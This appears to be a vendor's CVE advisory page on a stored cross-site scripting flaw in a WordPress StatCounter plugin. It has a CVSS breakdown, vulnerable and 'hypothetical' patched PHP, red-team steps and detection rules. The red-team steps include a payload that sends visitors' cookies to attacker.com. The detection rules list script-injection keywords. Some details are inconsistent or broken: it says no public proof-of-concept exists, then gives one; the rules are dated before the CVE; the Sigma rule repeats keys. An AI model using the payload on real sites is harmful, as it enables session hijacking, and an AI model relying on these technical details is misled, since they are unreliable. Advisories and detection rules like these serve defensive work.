CVE-2026-57629
Executive Summary
CVE-2026-57629 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the StatCounter plugin for WordPress, affecting versions 2.1.1 and earlier. The vulnerability allows an authenticated contributor-level user to inject arbitrary JavaScript into the plugin’s settings or output, which is then executed in the browsers of site visitors. This can lead to session hijacking, defacement, or redirection to malicious sites.
The vulnerability has a CVSS score of 6.5 (Medium) and an EPSS score of 0.0%, indicating low exploitation probability in the wild at this time. No public proof-of-concept (PoC) or exploit code has been released. The vendor has not yet provided a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin panel or via the repository are affected. There is no evidence of a compromised package or malicious injection in the supply chain; the vulnerability is a code-level flaw in the plugin itself.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must visit a page containing the injected script.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., cookies, tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for contributor-level privileges reduces the attack surface, but the potential for session hijacking and phishing makes it a credible threat for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the StatCounter plugin’s handling of user-supplied input when configuring the StatCounter tracking code. A contributor-level user can inject malicious JavaScript into fields such as the “Project ID” or “Security Code” settings. The plugin fails to properly sanitize or escape this input before rendering it in the site’s frontend HTML.
Attack Flow:
- An attacker with contributor-level access navigates to the StatCounter settings page.
- The attacker injects a payload like
<script>alert('XSS')</script>into an unsanitized input field. - The plugin stores the payload in the WordPress database.
- When any user (including administrators or visitors) loads a page that includes the StatCounter tracking code, the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a malicious site.
Root Cause: The plugin uses echo or print to output user-supplied data without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (StatCounter <= 2.1.1):
// In statcounter.php or similar
function statcounter_output() {
$project_id = get_option('statcounter_project_id');
$security_code = get_option('statcounter_security_code');
echo "<script>var sc_project=$project_id; var sc_security=\"$security_code\";</script>";
}
Patched Code (Hypothetical fix):
function statcounter_output() {
$project_id = intval(get_option('statcounter_project_id')); // Ensure integer
$security_code = esc_js(get_option('statcounter_security_code')); // Escape for JS context
echo "<script>var sc_project=$project_id; var sc_security=\"$security_code\";</script>";
}
The patched version uses intval() to force the project ID to an integer and esc_js() to safely escape the security code for JavaScript context.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with StatCounter plugin version 2.1.1 or earlier.
- Contributor-level credentials.
Steps:
- Log in as a contributor.
- Navigate to Settings > StatCounter.
- In the “Security Code” field, enter the following payload:
"); fetch('https://attacker.com/steal?cookie='+document.cookie); // - Save the settings.
- Craft a link to a page that includes the StatCounter tracking code (e.g., any public post) and send it to an administrator or victim.
- When the victim loads the page, the injected script executes, sending their cookies to the attacker’s server.
Expected Output:
- The attacker receives a request on their server containing the victim’s cookies.
Blue Team (Detection & Response)
Detection Steps:
- Monitor WordPress admin logs for unusual changes to StatCounter settings by contributor-level users.
- Review the
wp_optionstable for suspicious values instatcounter_project_idorstatcounter_security_code. - Use a web application firewall (WAF) to block requests containing
<script>tags in plugin settings.
Response:
- Immediately revoke contributor-level access for any suspicious accounts.
- Restore the StatCounter settings to safe values from a backup.
- Apply the hypothetical patch or disable the plugin until an official fix is released.
Indicators of Compromise (IOCs)
- File-based:
- Modified
wp_optionstable entries forstatcounter_project_idorstatcounter_security_codecontaining JavaScript payloads.
- Modified
- Network-based:
- Outbound HTTP requests to unknown domains from the WordPress server, especially those containing cookie data.
- Log-based:
- WordPress admin logs showing changes to StatCounter settings by non-admin users.
- Web server logs showing requests to
/wp-admin/options-general.php?page=statcounterfrom contributor accounts.
Detection Engineering
YARA Rule
rule Detect_StatCounter_XSS_Payload {
meta:
description = "Detects potential XSS payloads in StatCounter plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-57629"
strings:
$payload1 = /sc_security\s*=\s*"[^"]*<script[^>]*>/i
$payload2 = /sc_project\s*=\s*[^;]*<script[^>]*>/i
$payload3 = /onerror\s*=|onload\s*=|onclick\s*=/i
condition:
any of ($payload1, $payload2, $payload3)
}
Sigma Rule
title: StatCounter Plugin XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts in StatCounter plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=statcounter'
cs-uri-query|contains: 'sc_security'
cs-uri-query|contains|re: '(<script|onerror|onload|onclick)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in plugin settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-57629 StatCounter XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"page=statcounter"; http_uri; content:"sc_security"; http_client_body; pcre:"/(<script|onerror|onload|onclick)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the StatCounter plugin until an official patch is released.
- Restrict contributor-level access to only trusted users.
- Audit the
wp_optionstable for any suspicious values in StatCounter settings.
Long-term Fix:
- The vendor must release a patched version (2.1.2 or later) that properly sanitizes all user inputs using
esc_html(),esc_js(), orintval(). - Users should update to the patched version as soon as it becomes available.
Workaround:
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>tags in thesc_securityorsc_projectparameters.
Valters IT